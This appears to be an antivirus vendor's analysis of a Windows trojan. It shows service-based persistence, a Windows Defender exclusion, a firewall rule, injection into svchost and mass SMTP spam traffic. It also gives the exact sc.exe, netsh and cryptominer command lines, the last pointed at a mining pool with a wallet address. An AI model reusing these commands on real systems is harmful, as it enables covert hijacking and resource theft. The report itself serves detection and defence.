Trojan.Siggen18.46268

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\iulgmswe] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\iulgmswe] 'ImagePath' = '%WINDIR%\SysWOW64\iulgmswe\dscgtuj.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\iulgmswe] 'ImagePath' = '%WINDIR%\SysWOW64\iulgmswe\dscgtuj.exe'

Creates the following services

'iulgmswe' %WINDIR%\SysWOW64\iulgmswe\dscgtuj.exe /d"<Full path to file>"
'iulgmswe' %WINDIR%\SysWOW64\iulgmswe\dscgtuj.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\iulgmswe' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\dscgtuj.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\dscgtuj.exe to %WINDIR%\syswow64\iulgmswe\dscgtuj.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx.######mail.rediff.akadns.net':25
'd2######.#ss.barracudanetworks.com':25
'mx#######b02.gslb.pphosted.com':25
'sm###.#ail.medcity.net':25
'mx#######003.gslb.pphosted.com':25
'mx#######005.gslb.pphosted.com':25
'mx######1e301.pphosted.com':25
'ma##.yevme.com':25
'fa###ool.xyz':10060
'em##.freenet.de':25
'mx#.#ate.com':25
'mx#######103.gslb.pphosted.com':25
'alt1.aspmx.l.google.com':25
'mx#######e01.gslb.pphosted.com':25
'mx#######f02.gslb.pphosted.com':25
'na#.###.#rotection.outlook.com':25
'mx#######301.gslb.pphosted.com':25
'mx##.#lackberry.com':25
'yo##ube.com':443
'mt##.##0.yahoodns.net':25
'al######x-vip1.prodigy.net':25
'mx.##geco.ca':25
'mx#.###lcloud.com.tw':25
'cu####.cscdns.net':25
'pa####x.above.com':25
'mx#.#nforent.de':25
'mx#.ovh.net':25
'mx#.#aurouw.com':25
'sm###.##rbusinessteam.fr':25
'ma##.#crgroup.com':25
'mx#######b01.gslb.pphosted.com':25
'eu#.###.#rotection.outlook.com':25
'es#.#entene.com':25
'mx#.##ailsrvr.com':25
'mx.##.#tinternet.com':25
'mx.##s.untd.com':25
'ex####l.bigpond.com':25
'mx.##stpost.net':25
'lo########eers.ogame.gameforge.com':443
'mx##.##il.icloud.com':25
'mx#######c01.gslb.pphosted.com':25
'mx#######.mail.am0.yahoodns.net':25
'mx#.#harter.net':25
'mx#######c03.gslb.pphosted.com':25
'cl######n-02.mbs.boeing.net':25
'mx#######401.gslb.pphosted.com':25
'pl###.##nkemailfilter.com':25
'mx#######502.gslb.pphosted.com':25
'mx##.mail.com':25
'mx#######701.gslb.pphosted.com':25
'mx.########e.prod.cloud.synchronoss.net':25
'pu######1.mail2world.com':25
'17#.#13.115.153':428
'mx#.#aver.com':25
'mx####.esc13.net':25
'mx#######101.gslb.pphosted.com':25
'mx#.#eznam.cz':25
'gw#.###ordnetworks.net':25
'mx#.#anmail.net':25
'mx.###zta.onet.pl':25
'mx.#len.pl':25
'ma##.###lied-info-mgmt.com':25
'17#.#13.115.155':428
'mt#.#1cn.com':25
'mx.#p.pl':25
'mx#.####y.mail2world.com':25
'mx#######001.gslb.pphosted.com':25
'mx#.###ound.socket.net':25
'so####1.sohu.com':25
'mx.##teria.pl':25
'mx#######a01.gslb.pphosted.com':25
'17#.#13.115.158':484
'sv####lfheim.top':443
'pu######2.mail2world.com':25
'mx#.####497.c3s2.iphmx.com':25
'80.#6.75.4':428
'google.com':80
'17#.#13.115.156':428
'mx.#####.#om.cust.b.hostedemail.com':25
'mx##.###us-vadesecure.net':25
'al######x-vip2.prodigy.net':25
'mx#.####4-4.ap.iphmx.com':25
'mx#######702.gslb.pphosted.com':25
'sm####.laposte.net':25
'mx###.comcast.net':25
'cx#.##.#.cloudfilter.net':25
'mx###.##il.am0.yahoodns.net':25
'17#.#13.115.157':428
'mx####.##il.gm0.yahoodns.net':25
'17#.#13.115.154':428
'mx######91d01.pphosted.com':25
'r-####6.korea.com':25
'cu#######-1.in.mailcontrol.com':25
'mx#######901.gslb.pphosted.com':25
'mx#.qq.com':25
'mx#######501.gslb.pphosted.com':25
'ASPMX.L.GOOGLE.COM':25
'ma##.#-email.net':25
'in###gram.com':443
'mx#.####6-3.ca.iphmx.com':25
'mx.##online.de':25

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'sm####.laposte.net':25
'mx#######701.gslb.pphosted.com':25
'mx.##.#tinternet.com':25
'yo##ube.com':443
'mt##.##0.yahoodns.net':25
'al######x-vip1.prodigy.net':25
'na#.###.#rotection.outlook.com':25
'alt1.aspmx.l.google.com':25
'fa###ool.xyz':10060
'ma##.yevme.com':25
'd2######.#ss.barracudanetworks.com':25
'cu####.cscdns.net':25
'mx#.#nforent.de':25
'cl######n-02.mbs.boeing.net':25
'mx#######.mail.am0.yahoodns.net':25
'i.###tagram.com':443
'lo########eers.ogame.gameforge.com':443
'mx.##stpost.net':25
'mx#.####497.c3s2.iphmx.com':25
'pl###.##nkemailfilter.com':25
'eu#.###.#rotection.outlook.com':25
'mx#.#aurouw.com':25
'pa####x.above.com':25
'ma##.###lied-info-mgmt.com':25
'al######x-vip2.prodigy.net':25
'mx.######mail.rediff.akadns.net':25
'mx#.####4-4.ap.iphmx.com':25
'mx#.#aver.com':25
'17#.#13.115.158':484
'mx.##teria.pl':25
'mx#.###ound.socket.net':25
'mx#.####y.mail2world.com':25
'mt#.#1cn.com':25
'mx.###zta.onet.pl':25
'mx#.#anmail.net':25
'gw#.###ordnetworks.net':25
'mx#.#eznam.cz':25
'80.#6.75.4':428
'17#.#13.115.153':428
'17#.#13.115.156':428
'mx###.##il.am0.yahoodns.net':25
'17#.#13.115.157':428
'17#.#13.115.154':428
'17#.#13.115.155':428
'in###gram.com':443
'ASPMX.L.GOOGLE.COM':25
'ma##.#-email.net':25
'mx#.qq.com':25
'cu#######-1.in.mailcontrol.com':25
'mx#.###lcloud.com.tw':25
'mx####.##il.gm0.yahoodns.net':25
'mx#.####6-3.ca.iphmx.com':25
'r-####6.korea.com':25
'mx#.ovh.net':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK hc####lthcare.com
DNS ASK sm###.#ail.medcity.net
DNS ASK ab##tt.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK ga####rrealtors.com
DNS ASK ne###ape.net
DNS ASK ha##lls.com
DNS ASK d2######.#ss.barracudanetworks.com
DNS ASK re###fmail.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK ne##ero.net
DNS ASK mx.##s.untd.com
DNS ASK sk###ers.com
DNS ASK mx#######103.gslb.pphosted.com
DNS ASK gr##l.net
DNS ASK cu####.cscdns.net
DNS ASK ga###ronics.com
DNS ASK mx#######502.gslb.pphosted.com
DNS ASK bu#####ealthsystem.org
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK md#.com
DNS ASK cl######n-02.mbs.boeing.net
DNS ASK ca####ll-ewald.com
DNS ASK pr##igy.net
DNS ASK we##v.net
DNS ASK at#.net
DNS ASK we###fargo.com
DNS ASK fl##e.com
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK sy##vus.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK bo##on.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK sh######shillhomestead.com
DNS ASK co##co.ca
DNS ASK mx.##geco.ca
DNS ASK na##.com
DNS ASK mx#.#ate.com
DNS ASK fr##net.de
DNS ASK em##.freenet.de
DNS ASK fa###ool.xyz
DNS ASK in##rl.net
DNS ASK ye##e.com
DNS ASK ma##.yevme.com
DNS ASK si###sxm.com
DNS ASK mx######1e301.pphosted.com
DNS ASK un###bank.com
DNS ASK at#.com
DNS ASK al###ate.com
DNS ASK mx#######005.gslb.pphosted.com
DNS ASK mx#######003.gslb.pphosted.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK mx#######c03.gslb.pphosted.com
DNS ASK mx#.#harter.net
DNS ASK he##th.net
DNS ASK es#.#entene.com
DNS ASK ou##ook.fr
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK li#e.be
DNS ASK fa#####insurance.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK gc###oup.com
DNS ASK ma##.#crgroup.com
DNS ASK xm###abase.org
DNS ASK su##or.com
DNS ASK vi###tte.com
DNS ASK ra##ouw.com
DNS ASK mx#.#aurouw.com
DNS ASK fc####hnology.fr
DNS ASK mx#.ovh.net
DNS ASK co##ova.com
DNS ASK mx#.#nforent.de
DNS ASK tr####anmail.com
DNS ASK pa####x.above.com
DNS ASK wn##.net
DNS ASK ma##.###lied-info-mgmt.com
DNS ASK t-###-cad.com
DNS ASK mx#.##ailsrvr.com
DNS ASK dh####ruments.com
DNS ASK so##co.com
DNS ASK wa##a.com
DNS ASK ro##rs.com
DNS ASK mx#######.mail.am0.yahoodns.net
DNS ASK ma###paneth.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK ic##ud.com
DNS ASK mx##.##il.icloud.com
DNS ASK py##s.com
DNS ASK qq.com
DNS ASK mi###man.com
DNS ASK i.###tagram.com
DNS ASK mo###fan.com
DNS ASK ic##ink.com
DNS ASK lo########eers.ogame.gameforge.com
DNS ASK we###ost.net
DNS ASK mx.##stpost.net
DNS ASK pe###epc.com
DNS ASK bi##ond.com
DNS ASK ex####l.bigpond.com
DNS ASK mi###ess.com
DNS ASK op##q.com
DNS ASK pl###.##nkemailfilter.com
DNS ASK mx#.####497.c3s2.iphmx.com
DNS ASK ch##ter.net
DNS ASK ro###tmail.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK me###onic.com
DNS ASK mx##.#lackberry.com
DNS ASK mx.#len.pl
DNS ASK sp##o.pl
DNS ASK mx.###zta.onet.pl
DNS ASK ha##ail.net
DNS ASK mx#.#anmail.net
DNS ASK me###ink.net
DNS ASK gw#.###ordnetworks.net
DNS ASK se##am.cz
DNS ASK mx#.#eznam.cz
DNS ASK su##ru.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK th###l.txed.net
DNS ASK mx####.esc13.net
DNS ASK na##r.com
DNS ASK mx#.#aver.com
DNS ASK google.com
DNS ASK in###gram.com
DNS ASK pr####ton-edu.com
DNS ASK ti##jo.com
DNS ASK ma##.#-email.net
DNS ASK hp##1.org
DNS ASK ASPMX.L.GOOGLE.COM
DNS ASK pu######2.mail2world.com
DNS ASK am###trade.com
DNS ASK ma###world.com
DNS ASK ma###donald.com
DNS ASK sv####lfheim.top
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK et##ad.ae
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK so##.com
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK so####1.sohu.com
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK in##ria.pl
DNS ASK mx.##teria.pl
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK mi###erica.net
DNS ASK mx#.###ound.socket.net
DNS ASK up#.com
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK pa##agen.se
DNS ASK mx#.####y.mail2world.com
DNS ASK 21##.com
DNS ASK mt#.#1cn.com
DNS ASK wp.pl
DNS ASK mx.#p.pl
DNS ASK pu######1.mail2world.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK o2.pl
DNS ASK fo##ail.com
DNS ASK no##am4.us
DNS ASK al######x-vip2.prodigy.net
DNS ASK ea###link.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK ly##s.com
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK op###line.net
DNS ASK mx.########e.prod.cloud.synchronoss.net
DNS ASK it###rta.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK or####ontist.net
DNS ASK mx##.mail.com
DNS ASK ve##zon.net
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK sb###obal.net
DNS ASK al######x-vip1.prodigy.net
DNS ASK ep##.net
DNS ASK mt##.##0.yahoodns.net
DNS ASK yo##ube.com
DNS ASK st####yworks.com
DNS ASK vi##o.com
DNS ASK mx#.####4-4.ap.iphmx.com
DNS ASK mx#######702.gslb.pphosted.com
DNS ASK be###outh.net
DNS ASK do##an.com
DNS ASK ni.com
DNS ASK mx#.qq.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK oc##.org
DNS ASK fr###porch.net
DNS ASK cu#######-1.in.mailcontrol.com
DNS ASK ru###oup.com
DNS ASK ko##a.com
DNS ASK r-####6.korea.com
DNS ASK be###outh.com
DNS ASK mx######91d01.pphosted.com
DNS ASK si##ba.com
DNS ASK o2##line.de
DNS ASK sm###.##rbusinessteam.fr
DNS ASK mx#.###lcloud.com.tw
DNS ASK cs.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK sk#.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK co#.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK co##ast.net
DNS ASK mx###.comcast.net
DNS ASK la##ste.net
DNS ASK sm####.laposte.net
DNS ASK la###ready.com
DNS ASK mx#.####6-3.ca.iphmx.com
DNS ASK mx.##online.de

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\iulgmswe\dscgtuj.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\iulgmswe\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dscgtuj.exe" %WINDIR%\SysWOW64\iulgmswe\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create iulgmswe binPath= "%WINDIR%\SysWOW64\iulgmswe\dscgtuj.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description iulgmswe "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start iulgmswe' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\iulgmswe\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dscgtuj.exe" %WINDIR%\SysWOW64\iulgmswe\
'%WINDIR%\syswow64\sc.exe' create iulgmswe binPath= "%WINDIR%\SysWOW64\iulgmswe\dscgtuj.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description iulgmswe "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start iulgmswe
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

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